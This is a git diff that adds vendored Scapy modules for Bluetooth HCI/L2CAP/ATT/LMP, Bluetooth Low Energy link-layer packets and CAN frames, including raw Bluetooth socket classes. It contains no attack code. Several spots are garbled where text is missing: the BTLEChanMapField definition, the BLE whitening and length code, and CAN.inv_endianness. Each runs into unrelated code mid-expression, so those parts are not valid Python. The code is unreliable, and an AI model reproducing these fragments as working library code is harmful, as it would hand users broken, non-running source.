length_from=lambda pkt: pkt.len), + SignedByteField("rssi", 0)] + + def extract_padding(self, s): + return '', s + + +class HCI_LE_Meta_Advertising_Reports(Packet): + name = "Advertising Reports" + fields_desc = [FieldLenField("len", None, count_of="reports", fmt="B"), + PacketListField("reports", None, + HCI_LE_Meta_Advertising_Report, + count_from=lambda pkt: pkt.len)] + + +class HCI_LE_Meta_Long_Term_Key_Request(Packet): + name = "Long Term Key Request" + fields_desc = [LEShortField("handle", 0), + StrFixedLenField("rand", None, 8), + XLEShortField("ediv", 0), ] + + +bind_layers(HCI_PHDR_Hdr, HCI_Hdr) + +bind_layers(HCI_Hdr, HCI_Command_Hdr, type=1) +bind_layers(HCI_Hdr, HCI_ACL_Hdr, type=2) +bind_layers(HCI_Hdr, HCI_Event_Hdr, type=4) +bind_layers(HCI_Hdr, HCI_Diag_Hdr, type=7) +bind_layers(HCI_Hdr, BT_ACL_Hdr, type=8) +bind_layers(HCI_Hdr, conf.raw_layer, ) + +conf.l2types.register(DLT_BLUETOOTH_HCI_H4, HCI_Hdr) +conf.l2types.register(DLT_BLUETOOTH_HCI_H4_WITH_PHDR, HCI_PHDR_Hdr) +conf.l2types.register(DLT_BLUETOOTH_ESPRESSIF, BT_ACL_Hdr) + + + +bind_layers(HCI_Diag_Hdr, BT_LMP, llid=0x03) +bind_layers(HCI_Diag_Hdr, L2CAP_Hdr, llid=0x02) + + +bind_layers(BT_Baseband, BT_ACL_Hdr, type=0x08) +bind_layers(BT_Baseband, BT_ACL_Hdr, type=0x04) +bind_layers(BT_Baseband, BT_ACL_Hdr, type=0x03) +bind_layers(BT_ACL_Hdr, BT_LMP, llid=0x03) +bind_layers(BT_ACL_Hdr, L2CAP_Hdr, llid=0x02) +bind_layers(BT_LMP, LMP_name_req, opcode=1) +bind_layers(BT_LMP, LMP_name_res, opcode=2) +bind_layers(BT_LMP, LMP_accepted, opcode=3) +bind_layers(BT_LMP, LMP_not_accepted, opcode=4) +bind_layers(BT_LMP, LMP_clkoffset_req, opcode=5) +bind_layers(BT_LMP, LMP_clkoffset_res, opcode=6) +bind_layers(BT_LMP, LMP_detach, opcode=7) +bind_layers(BT_LMP, LMP_sniff_req, opcode=23) +bind_layers(BT_LMP, LMP_unsniff_req, opcode=24) +bind_layers(BT_LMP, LMP_max_power, opcode=33) +bind_layers(BT_LMP, LMP_min_power, opcode=34) +bind_layers(BT_LMP, LMP_auto_rate, opcode=35) +bind_layers(BT_LMP, LMP_preferred_rate, opcode=36) +bind_layers(BT_LMP, LMP_version_req, opcode=37) +bind_layers(BT_LMP, LMP_version_res, opcode=38) +bind_layers(BT_LMP, LMP_features_req, opcode=39) +bind_layers(BT_LMP, LMP_features_res, opcode=40) +bind_layers(BT_LMP, LMP_max_slot, opcode=45) +bind_layers(BT_LMP, LMP_max_slot_req, opcode=46) +bind_layers(BT_LMP, LMP_timing_accuracy_req, opcode=47) +bind_layers(BT_LMP, LMP_timing_accuracy_res, opcode=48) +bind_layers(BT_LMP, LMP_setup_complete, opcode=49) +bind_layers(BT_LMP, LMP_host_connection_req, opcode=51) +bind_layers(BT_LMP, LMP_page_mode_req, opcode=53) +bind_layers(BT_LMP, LMP_page_scan_mode_req, opcode=54) +bind_layers(BT_LMP, LMP_supervision_timeout, opcode=55) +bind_layers(BT_LMP, LMP_set_AFH, opcode=60) +bind_layers(BT_LMP, LMP_encapsulated_header, opcode=61) +bind_layers(BT_LMP, LMP_encapsulated_payload, opcode=62) +bind_layers(BT_LMP, LMP_Simple_Pairing_Confirm, opcode=63) +bind_layers(BT_LMP, LMP_Simple_Pairing_Number, opcode=64) +bind_layers(BT_LMP, LMP_DHkey_Check, opcode=65) +bind_layers(BT_LMP, LMP_au_rand, opcode=11) +bind_layers(BT_LMP, LMP_sres, opcode=12) +bind_layers(BT_LMP, LMP_encryption_mode_req, opcode=15) +bind_layers(BT_LMP, LMP_encryption_key_size_req, opcode=16) +bind_layers(BT_LMP, LMP_start_encryption_req, opcode=17) +bind_layers(BT_LMP, LMP_stop_encryption_req, opcode=18) + +bind_layers(BT_LMP, LMP_accepted_ext, ext_opcode=1) +bind_layers(BT_LMP, LMP_not_accepted_ext, ext_opcode=2) +bind_layers(BT_LMP, LMP_features_req_ext, ext_opcode=3) +bind_layers(BT_LMP, LMP_features_res_ext, ext_opcode=4) +bind_layers(BT_LMP, LMP_packet_type_table_req, ext_opcode=11) +bind_layers(BT_LMP, LMP_channel_classification_req, ext_opcode=16) +bind_layers(BT_LMP, LMP_channel_classification, ext_opcode=17) +bind_layers(BT_LMP, LMP_sniff_subrating_req, ext_opcode=21) +bind_layers(BT_LMP, LMP_sniff_subrating_res, ext_opcode=22) +bind_layers(BT_LMP, LMP_pause_encryption_req, ext_opcode=23) +bind_layers(BT_LMP, LMP_resume_encryption_req, ext_opcode=24) +bind_layers(BT_LMP, LMP_IO_Capability_req, ext_opcode=25) +bind_layers(BT_LMP, LMP_IO_Capability_res, ext_opcode=26) +bind_layers(BT_LMP, LMP_numeric_comparison_failed, ext_opcode=27) +bind_layers(BT_LMP, LMP_passkey_failed, ext_opcode=28) +bind_layers(BT_LMP, LMP_oob_failed, ext_opcode=29) +bind_layers(BT_LMP, LMP_power_control_req, ext_opcode=31) +bind_layers(BT_LMP, LMP_power_control_res, ext_opcode=32) +bind_layers(BT_LMP, LMP_ping_req, ext_opcode=33) +bind_layers(BT_LMP, LMP_ping_res, ext_opcode=34) + +bind_layers(HCI_Command_Hdr, HCI_Cmd_Reset, opcode=0x0c03) +bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Mask, opcode=0x0c01) +bind_layers(HCI_Command_Hdr, HCI_Cmd_Set_Event_Filter, opcode=0x0c05) +bind_layers(HCI_Command_Hdr, HCI_Cmd_Connect_Accept_Timeout, opcode=0x0c16) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Host_Supported, opcode=0x0c6d) +bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Extended_Inquiry_Response, opcode=0x0c52) # noqa: E501 +bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_BD_Addr, opcode=0x1009) +bind_layers(HCI_Command_Hdr, HCI_Cmd_Write_Local_Name, opcode=0x0c13) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Buffer_Size, opcode=0x2002) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Random_Address, opcode=0x2005) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Parameters, opcode=0x2006) # noqa: E501 +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertising_Data, opcode=0x2008) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Response_Data, opcode=0x2009) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Advertise_Enable, opcode=0x200a) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Parameters, opcode=0x200b) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Set_Scan_Enable, opcode=0x200c) +bind_layers(HCI_Command_Hdr, HCI_Cmd_Disconnect, opcode=0x406) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection, opcode=0x200d) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Create_Connection_Cancel, opcode=0x200e) # noqa: E501 +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_White_List_Size, opcode=0x200f) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Clear_White_List, opcode=0x2010) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Add_Device_To_White_List, opcode=0x2011) # noqa: E501 +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Remove_Device_From_White_List, opcode=0x2012) # noqa: E501 +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Connection_Update, opcode=0x2013) +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Read_Remote_Used_Features, opcode=0x2016) # noqa: E501 + +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Start_Encryption_Request, opcode=0x2019) # noqa: E501 + +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Start_Encryption_Request, opcode=0x2019) # noqa: E501 + +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Reply, opcode=0x201a) # noqa: E501 +bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply, opcode=0x201b) # noqa: E501 + +bind_layers(HCI_Event_Hdr, HCI_Event_Disconnection_Complete, code=0x5) +bind_layers(HCI_Event_Hdr, HCI_Event_Encryption_Change, code=0x8) +bind_layers(HCI_Event_Hdr, HCI_Event_Command_Complete, code=0xe) +bind_layers(HCI_Event_Hdr, HCI_Event_Command_Status, code=0xf) +bind_layers(HCI_Event_Hdr, HCI_Event_Number_Of_Completed_Packets, code=0x13) +bind_layers(HCI_Event_Hdr, HCI_Event_LE_Meta, code=0x3e) + +bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_BD_Addr, opcode=0x1009) # noqa: E501 +bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_LE_Read_White_List_Size, opcode=0x200f) # noqa: E501 + +bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Complete, event=1) +bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Advertising_Reports, event=2) +bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Connection_Update_Complete, event=3) +bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Long_Term_Key_Request, event=5) + +bind_layers(EIR_Hdr, EIR_Flags, type=0x01) +bind_layers(EIR_Hdr, EIR_IncompleteList16BitServiceUUIDs, type=0x02) +bind_layers(EIR_Hdr, EIR_CompleteList16BitServiceUUIDs, type=0x03) +bind_layers(EIR_Hdr, EIR_IncompleteList128BitServiceUUIDs, type=0x06) +bind_layers(EIR_Hdr, EIR_CompleteList128BitServiceUUIDs, type=0x07) +bind_layers(EIR_Hdr, EIR_ShortenedLocalName, type=0x08) +bind_layers(EIR_Hdr, EIR_CompleteLocalName, type=0x09) +bind_layers(EIR_Hdr, EIR_Device_ID, type=0x10) +bind_layers(EIR_Hdr, EIR_TX_Power_Level, type=0x0a) +bind_layers(EIR_Hdr, EIR_ServiceData16BitUUID, type=0x16) +bind_layers(EIR_Hdr, EIR_Manufacturer_Specific_Data, type=0xff) +bind_layers(EIR_Hdr, EIR_Raw) + +bind_layers(HCI_ACL_Hdr, L2CAP_Hdr, ) +bind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=1) +bind_layers(L2CAP_Hdr, L2CAP_CmdHdr, cid=5) # LE L2CAP Signaling Channel +bind_layers(L2CAP_CmdHdr, L2CAP_CmdRej, code=1) +bind_layers(L2CAP_CmdHdr, L2CAP_ConnReq, code=2) +bind_layers(L2CAP_CmdHdr, L2CAP_ConnResp, code=3) +bind_layers(L2CAP_CmdHdr, L2CAP_ConfReq, code=4) +bind_layers(L2CAP_CmdHdr, L2CAP_ConfResp, code=5) +bind_layers(L2CAP_CmdHdr, L2CAP_DisconnReq, code=6) +bind_layers(L2CAP_CmdHdr, L2CAP_DisconnResp, code=7) +bind_layers(L2CAP_CmdHdr, L2CAP_InfoReq, code=10) +bind_layers(L2CAP_CmdHdr, L2CAP_InfoResp, code=11) +bind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Request, code=18) +bind_layers(L2CAP_CmdHdr, L2CAP_Connection_Parameter_Update_Response, code=19) +bind_layers(L2CAP_Hdr, ATT_Hdr, cid=4) +bind_layers(ATT_Hdr, ATT_Error_Response, opcode=0x1) +bind_layers(ATT_Hdr, ATT_Exchange_MTU_Request, opcode=0x2) +bind_layers(ATT_Hdr, ATT_Exchange_MTU_Response, opcode=0x3) +bind_layers(ATT_Hdr, ATT_Find_Information_Request, opcode=0x4) +bind_layers(ATT_Hdr, ATT_Find_Information_Response, opcode=0x5) +bind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Request, opcode=0x6) +bind_layers(ATT_Hdr, ATT_Find_By_Type_Value_Response, opcode=0x7) +bind_layers(ATT_Hdr, ATT_Read_By_Type_Request_128bit, opcode=0x8) +bind_layers(ATT_Hdr, ATT_Read_By_Type_Request, opcode=0x8) +bind_layers(ATT_Hdr, ATT_Read_By_Type_Response, opcode=0x9) +bind_layers(ATT_Hdr, ATT_Read_Request, opcode=0xa) +bind_layers(ATT_Hdr, ATT_Read_Response, opcode=0xb) +bind_layers(ATT_Hdr, ATT_Read_Blob_Request, opcode=0xc) +bind_layers(ATT_Hdr, ATT_Read_Blob_Response, opcode=0xd) +bind_layers(ATT_Hdr, ATT_Read_Multiple_Request, opcode=0xe) +bind_layers(ATT_Hdr, ATT_Read_Multiple_Response, opcode=0xf) +bind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Request, opcode=0x10) +bind_layers(ATT_Hdr, ATT_Read_By_Group_Type_Response, opcode=0x11) +bind_layers(ATT_Hdr, ATT_Write_Request, opcode=0x12) +bind_layers(ATT_Hdr, ATT_Write_Response, opcode=0x13) +bind_layers(ATT_Hdr, ATT_Prepare_Write_Request, opcode=0x16) +bind_layers(ATT_Hdr, ATT_Prepare_Write_Response, opcode=0x17) +bind_layers(ATT_Hdr, ATT_Execute_Write_Request, opcode=0x18) +bind_layers(ATT_Hdr, ATT_Execute_Write_Response, opcode=0x19) +bind_layers(ATT_Hdr, ATT_Write_Command, opcode=0x52) +bind_layers(ATT_Hdr, ATT_Handle_Value_Notification, opcode=0x1b) +bind_layers(ATT_Hdr, ATT_Handle_Value_Indication, opcode=0x1d) +bind_layers(L2CAP_Hdr, SM_Hdr, cid=6) +bind_layers(SM_Hdr, SM_Pairing_Request, sm_command=1) +bind_layers(SM_Hdr, SM_Pairing_Response, sm_command=2) +bind_layers(SM_Hdr, SM_Confirm, sm_command=3) +bind_layers(SM_Hdr, SM_Random, sm_command=4) +bind_layers(SM_Hdr, SM_Failed, sm_command=5) +bind_layers(SM_Hdr, SM_Encryption_Information, sm_command=6) +bind_layers(SM_Hdr, SM_Master_Identification, sm_command=7) +bind_layers(SM_Hdr, SM_Identity_Information, sm_command=8) +bind_layers(SM_Hdr, SM_Identity_Address_Information, sm_command=9) +bind_layers(SM_Hdr, SM_Signing_Information, sm_command=0x0a) +bind_layers(SM_Hdr, SM_Public_Key, sm_command=0x0c) +bind_layers(SM_Hdr, SM_DHKey_Check, sm_command=0x0d) + + +########### +# Helpers # +########### + +class LowEnergyBeaconHelper: + """ + Helpers for building packets for Bluetooth Low Energy Beacons. + + Implementors provide a :meth:`build_eir` implementation. + + This is designed to be used as a mix-in -- see + ``scapy.contrib.eddystone`` and ``scapy.contrib.ibeacon`` for examples. + """ + + # Basic flags that should be used by most beacons. + base_eir = [EIR_Hdr() / EIR_Flags(flags=[ + "general_disc_mode", "br_edr_not_supported"]), ] + + def build_eir(self): + """ + Builds a list of EIR messages to wrap this frame. + + Users of this helper must implement this method. + + :return: List of HCI_Hdr with payloads that describe this beacon type + :rtype: list[scapy.bluetooth.HCI_Hdr] + """ + raise NotImplementedError("build_eir") + + def build_advertising_report(self): + """ + Builds a HCI_LE_Meta_Advertising_Report containing this frame. + + :rtype: scapy.bluetooth.HCI_LE_Meta_Advertising_Report + """ + + return HCI_LE_Meta_Advertising_Report( + type=0, # Undirected + atype=1, # Random address + data=self.build_eir() + ) + + def build_set_advertising_data(self): + """Builds a HCI_Cmd_LE_Set_Advertising_Data containing this frame. + + This includes the :class:`HCI_Hdr` and :class:`HCI_Command_Hdr` layers. + + :rtype: scapy.bluetooth.HCI_Hdr + """ + + return HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Set_Advertising_Data( + data=self.build_eir() + ) + + +########### +# Sockets # +########### + +class BluetoothSocketError(BaseException): + pass + + +class BluetoothCommandError(BaseException): + pass + + +class BluetoothL2CAPSocket(SuperSocket): + desc = "read/write packets on a connected L2CAP socket" + + def __init__(self, bt_address): + if WINDOWS: + warning("Not available on Windows") + return + s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, + socket.BTPROTO_L2CAP) + s.connect((bt_address, 0)) + self.ins = self.outs = s + + def recv(self, x=MTU): + return L2CAP_CmdHdr(self.ins.recv(x)) + + +class BluetoothRFCommSocket(BluetoothL2CAPSocket): + """read/write packets on a connected RFCOMM socket""" + + def __init__(self, bt_address, port=0): + s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, + socket.BTPROTO_RFCOMM) + s.connect((bt_address, port)) + self.ins = self.outs = s + + +class BluetoothHCISocket(SuperSocket): + desc = "read/write on a BlueTooth HCI socket" + + def __init__(self, iface=0x10000, type=None): + if WINDOWS: + warning("Not available on Windows") + return + s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) # noqa: E501 + s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1) + s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1) + s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffff, 0xffffffff, 0xffffffff, + 0)) # type mask, event mask, event mask, opcode # noqa: E501 + s.bind((iface,)) + self.ins = self.outs = s + + # s.connect((peer,0)) + + def recv(self, x=MTU): + return HCI_Hdr(self.ins.recv(x)) + + +class sockaddr_hci(ctypes.Structure): + _fields_ = [ + ("sin_family", ctypes.c_ushort), + ("hci_dev", ctypes.c_ushort), + ("hci_channel", ctypes.c_ushort), + ] + + +class BluetoothUserSocket(SuperSocket): + desc = "read/write H4 over a Bluetooth user channel" + + def __init__(self, adapter_index=0): + if WINDOWS: + warning("Not available on Windows") + return + # s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) # noqa: E501 + # s.bind((0,1)) + + # yeah, if only + # thanks to Python's weak ass socket and bind implementations, we have + # to call down into libc with ctypes + + sockaddr_hcip = ctypes.POINTER(sockaddr_hci) + ctypes.cdll.LoadLibrary("libc.so.6") + libc = ctypes.CDLL("libc.so.6") + + socket_c = libc.socket + socket_c.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_int) + socket_c.restype = ctypes.c_int + + bind = libc.bind + bind.argtypes = (ctypes.c_int, + ctypes.POINTER(sockaddr_hci), + ctypes.c_int) + bind.restype = ctypes.c_int + + ######## + # actual code + + s = socket_c(31, 3, 1) # (AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER) + if s < 0: + raise BluetoothSocketError("Unable to open PF_BLUETOOTH socket") + + sa = sockaddr_hci() + sa.sin_family = 31 # AF_BLUETOOTH + sa.hci_dev = adapter_index # adapter index + sa.hci_channel = 1 # HCI_USER_CHANNEL + + r = bind(s, sockaddr_hcip(sa), sizeof(sa)) + if r != 0: + raise BluetoothSocketError("Unable to bind") + + self.ins = self.outs = socket.fromfd(s, 31, 3, 1) + + def send_command(self, cmd): + opcode = cmd.opcode + self.send(cmd) + while True: + r = self.recv() + if r.type == 0x04 and r.code == 0xe and r.opcode == opcode: + if r.status != 0: + raise BluetoothCommandError("Command %x failed with %x" % (opcode, r.status)) # noqa: E501 + return r + + def recv(self, x=MTU): + return HCI_Hdr(self.ins.recv(x)) + + def readable(self, timeout=0): + (ins, outs, foo) = select.select([self.ins], [], [], timeout) + return len(ins) > 0 + + def flush(self): + while self.readable(): + self.recv() + + def close(self): + if self.closed: + return + + # Properly close socket so we can free the device + ctypes.cdll.LoadLibrary("libc.so.6") + libc = ctypes.CDLL("libc.so.6") + + close = libc.close + close.restype = ctypes.c_int + self.closed = True + if hasattr(self, "outs"): + if not hasattr(self, "ins") or self.ins != self.outs: + if self.outs and (WINDOWS or self.outs.fileno() != -1): + close(self.outs.fileno()) + if hasattr(self, "ins"): + if self.ins and (WINDOWS or self.ins.fileno() != -1): + close(self.ins.fileno()) + + +conf.BTsocket = BluetoothRFCommSocket + + +# Bluetooth + + +@conf.commands.register +def srbt(bt_address, pkts, inter=0.1, *args, **kargs): + """send and receive using a bluetooth socket""" + if "port" in kargs: + s = conf.BTsocket(bt_address=bt_address, port=kargs.pop("port")) + else: + s = conf.BTsocket(bt_address=bt_address) + a, b = sndrcv(s, pkts, inter=inter, *args, **kargs) + s.close() + return a, b + + +@conf.commands.register +def srbt1(bt_address, pkts, *args, **kargs): + """send and receive 1 packet using a bluetooth socket""" + a, b = srbt(bt_address, pkts, *args, **kargs) + if len(a) > 0: + return a[0][1] diff --git a/libs/scapy/layers/bluetooth4LE.py b/libs/scapy/layers/bluetooth4LE.py new file mode 100755 index 0000000..9796409 --- /dev/null +++ b/libs/scapy/layers/bluetooth4LE.py @@ -0,0 +1,313 @@ +# This file is for use with Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Airbus DS CyberSecurity +# Authors: Jean-Michel Picod, Arnaud Lebrun, Jonathan Christofer Demay +# This program is published under a GPLv2 license + +"""Bluetooth 4LE layer""" + +import struct + +from scapy.compat import orb, chb +from scapy.config import conf +from scapy.data import DLT_BLUETOOTH_LE_LL, DLT_BLUETOOTH_LE_LL_WITH_PHDR, \ + PPI_BTLE +from scapy.packet import Packet, bind_layers +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + Field, FlagsField, LEIntField, LEShortEnumField, LEShortField, \ + MACField, PacketListField, SignedByteField, X3BytesField, XBitField, \ + XByteField, XIntField, XShortField, XLEIntField, XLEShortField + +from scapy.layers.bluetooth import EIR_Hdr, L2CAP_Hdr +from scapy.layers.ppi import PPI_Element, PPI_Hdr + +from scapy.modules.six.moves import range +from scapy.utils import mac2str, str2mac + +#################### +# Transport Layers # +#################### + + +class BTLE_PPI(PPI_Element): + """Cooked BTLE PPI header + + See ``ppi_btle_t`` in + https://github.com/greatscottgadgets/libbtbb/blob/master/lib/src/pcap.c + """ + name = "BTLE PPI header" + fields_desc = [ + ByteField("btle_version", 0), + # btle_channel is a frequency in MHz. Named for consistency with + # other users. + LEShortField("btle_channel", None), + ByteField("btle_clkn_high", None), + LEIntField("btle_clk_100ns", None), + SignedByteField("rssi_max", None), + SignedByteField("rssi_min", None), + SignedByteField("rssi_avg", None), + ByteField("rssi_count", None) + ] + + +class BTLE_RF(Packet): + """Cooked BTLE link-layer pseudoheader. + + http://www.whiterocker.com/bt/LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR.html + """ + name = "BTLE RF info header" + fields_desc = [ + ByteField("rf_channel", 0), + SignedByteField("signal", -128), + SignedByteField("noise", -128), + ByteField("access_address_offenses", 0), + XLEIntField("reference_access_address", 0), + FlagsField("flags", 0, -16, [ + "dewhitened", "sig_power_valid", "noise_power_valid", + "decrypted", "reference_access_address_valid", + "access_address_offenses_valid", "channel_aliased", + "res1", "res2", "res3", "crc_checked", "crc_valid", + "mic_checked", "mic_valid", "res4", "res5" + ]) + ] + + +########## +# Fields # +########## + +class BDAddrField(MACField): + def __init__(self, name, default, resolve=False): + MACField.__init__(self, name, default) + if resolve: + conf.resolve.add(self) + + def i2m(self, pkt, x): + if x is None: + return b"\0\0\0\0\0\0" + return mac2str(':'.join(x.split(':')[::-1])) + + def m2i(self, pkt, x): + return str2mac(x[::-1]) + + +class BTLEChanMapField(XByteField): + def __init__(self, name, default): + Field.__init__(self, name, default, "> 8) & 0xff) << 8) + (swapbits((init >> 16) & 0xff) << 16) # noqa: E501 + lfsr_mask = 0x5a6000 + for i in (orb(x) for x in pdu): + for j in range(8): + next_bit = (state ^ i) & 1 + i >>= 1 + state >>= 1 + if next_bit: + state |= 1 << 23 + state ^= lfsr_mask + return struct.pack(" 2: + l_pay = len(pay) + else: + l_pay = 0 + p = p[:1] + chb(l_pay & 0x3f) + p[2:] + if not isinstance(self.underlayer, BTLE): + self.add_underlayer(BTLE) + return p + + +class BTLE_DATA(Packet): + name = "BTLE data header" + fields_desc = [ + BitField("RFU", 0, 3), # Unused + BitField("MD", 0, 1), + BitField("SN", 0, 1), + BitField("NESN", 0, 1), + BitEnumField("LLID", 0, 2, {1: "continue", 2: "start", 3: "control"}), + ByteField("len", None), + ] + + def post_build(self, p, pay): + if self.len is None: + p = p[:-1] + chb(len(pay)) + return p + pay + + +class BTLE_ADV_IND(Packet): + name = "BTLE ADV_IND" + fields_desc = [ + BDAddrField("AdvA", None), + PacketListField("data", None, EIR_Hdr) + ] + + +class BTLE_ADV_DIRECT_IND(Packet): + name = "BTLE ADV_DIRECT_IND" + fields_desc = [ + BDAddrField("AdvA", None), + BDAddrField("InitA", None) + ] + + +class BTLE_ADV_NONCONN_IND(BTLE_ADV_IND): + name = "BTLE ADV_NONCONN_IND" + + +class BTLE_ADV_SCAN_IND(BTLE_ADV_IND): + name = "BTLE ADV_SCAN_IND" + + +class BTLE_SCAN_REQ(Packet): + name = "BTLE scan request" + fields_desc = [ + BDAddrField("ScanA", None), + BDAddrField("AdvA", None) + ] + + def answers(self, other): + return BTLE_SCAN_RSP in other and self.AdvA == other.AdvA + + +class BTLE_SCAN_RSP(Packet): + name = "BTLE scan response" + fields_desc = [ + BDAddrField("AdvA", None), + PacketListField("data", None, EIR_Hdr) + ] + + def answers(self, other): + return BTLE_SCAN_REQ in other and self.AdvA == other.AdvA + + +class BTLE_CONNECT_REQ(Packet): + name = "BTLE connect request" + fields_desc = [ + BDAddrField("InitA", None), + BDAddrField("AdvA", None), + # LLDATA + XIntField("AA", 0x00), + X3BytesField("crc_init", 0x0), + XByteField("win_size", 0x0), + XLEShortField("win_offset", 0x0), + XLEShortField("interval", 0x0), + XLEShortField("latency", 0x0), + XLEShortField("timeout", 0x0), + BTLEChanMapField("chM", 0), + BitField("SCA", 0, 3), + BitField("hop", 0, 5), + ] + + +BTLE_Versions = { + 7: '4.1' +} +BTLE_Corp_IDs = { + 0xf: 'Broadcom Corporation' +} + + +class CtrlPDU(Packet): + name = "CtrlPDU" + fields_desc = [ + XByteField("optcode", 0), + ByteEnumField("version", 0, BTLE_Versions), + LEShortEnumField("Company", 0, BTLE_Corp_IDs), + XShortField("subversion", 0) + ] + + +bind_layers(BTLE, BTLE_ADV, access_addr=0x8E89BED6) +bind_layers(BTLE, BTLE_DATA) +bind_layers(BTLE_ADV, BTLE_ADV_IND, PDU_type=0) +bind_layers(BTLE_ADV, BTLE_ADV_DIRECT_IND, PDU_type=1) +bind_layers(BTLE_ADV, BTLE_ADV_NONCONN_IND, PDU_type=2) +bind_layers(BTLE_ADV, BTLE_SCAN_REQ, PDU_type=3) +bind_layers(BTLE_ADV, BTLE_SCAN_RSP, PDU_type=4) +bind_layers(BTLE_ADV, BTLE_CONNECT_REQ, PDU_type=5) +bind_layers(BTLE_ADV, BTLE_ADV_SCAN_IND, PDU_type=6) + +bind_layers(BTLE_DATA, L2CAP_Hdr, LLID=2) # BTLE_DATA / L2CAP_Hdr / ATT_Hdr +# LLID=1 -> Continue +bind_layers(BTLE_DATA, CtrlPDU, LLID=3) + +conf.l2types.register(DLT_BLUETOOTH_LE_LL, BTLE) +conf.l2types.register(DLT_BLUETOOTH_LE_LL_WITH_PHDR, BTLE_RF) + +bind_layers(BTLE_RF, BTLE) + +bind_layers(PPI_Hdr, BTLE_PPI, pfh_type=PPI_BTLE) diff --git a/libs/scapy/layers/can.py b/libs/scapy/layers/can.py new file mode 100755 index 0000000..9d42b5f --- /dev/null +++ b/libs/scapy/layers/can.py @@ -0,0 +1,462 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + + +"""A minimal implementation of the CANopen protocol, based on +Wireshark dissectors. See https://wiki.wireshark.org/CANopen + +""" + +import os +import gzip +import struct +import binascii +import scapy.modules.six as six +from scapy.config import conf +from scapy.compat import orb +from scapy.data import DLT_CAN_SOCKETCAN, MTU +from scapy.fields import FieldLenField, FlagsField, StrLenField, \ + ThreeBytesField, XBitField, ScalingField, ConditionalField, LenField +from scapy.volatile import RandFloat, RandBinFloat +from scapy.packet import Packet, bind_layers +from scapy.layers.l2 import CookedLinux +from scapy.error import Scapy_Exception +from scapy.plist import PacketList + +__all__ = ["CAN", "SignalPacket", "SignalField", "LESignedSignalField", + "LEUnsignedSignalField", "LEFloatSignalField", "BEFloatSignalField", + "BESignedSignalField", "BEUnsignedSignalField", "rdcandump", + "CandumpReader", "SignalHeader"] + +# Mimics the Wireshark CAN dissector parameter 'Byte-swap the CAN ID/flags field' # noqa: E501 +# set to True when working with PF_CAN sockets +conf.contribs['CAN'] = {'swap-bytes': False} + + +class CAN(Packet): + """A minimal implementation of the CANopen protocol, based on + Wireshark dissectors. See https://wiki.wireshark.org/CANopen + + """ + fields_desc = [ + FlagsField('flags', 0, 3, ['error', + 'remote_transmission_request', + 'extended']), + XBitField('identifier', 0, 29), + FieldLenField('length', None, length_of='data', fmt='B'), + ThreeBytesField('reserved', 0), + StrLenField('data', '', length_from=lambda pkt: pkt.length), + ] + + @staticmethod + def inv_endianness(pkt): + """ Invert the order of the first four bytes of a CAN packet + + This method is meant to be used specifically to convert a CAN packet + between the pcap format and the socketCAN format + + :param pkt: str of the CAN packet + :return: packet str with the first four bytes swapped + """ + len_partial = len(pkt) - 4 # len of the packet, CAN ID excluded + return struct.pack('I{}s'.format(len_partial), pkt)) + + def pre_dissect(self, s): + """ Implements the swap-bytes functionality when dissecting """ + if conf.contribs['CAN']['swap-bytes']: + return CAN.inv_endianness(s) + return s + + def post_dissect(self, s): + self.raw_packet_cache = None # Reset packet to allow post_build + return s + + def post_build(self, pkt, pay): + """ Implements the swap-bytes functionality when building + + this is based on a copy of the Packet.self_build default method. + The goal is to affect only the CAN layer data and keep + under layers (e.g LinuxCooked) unchanged + """ + if 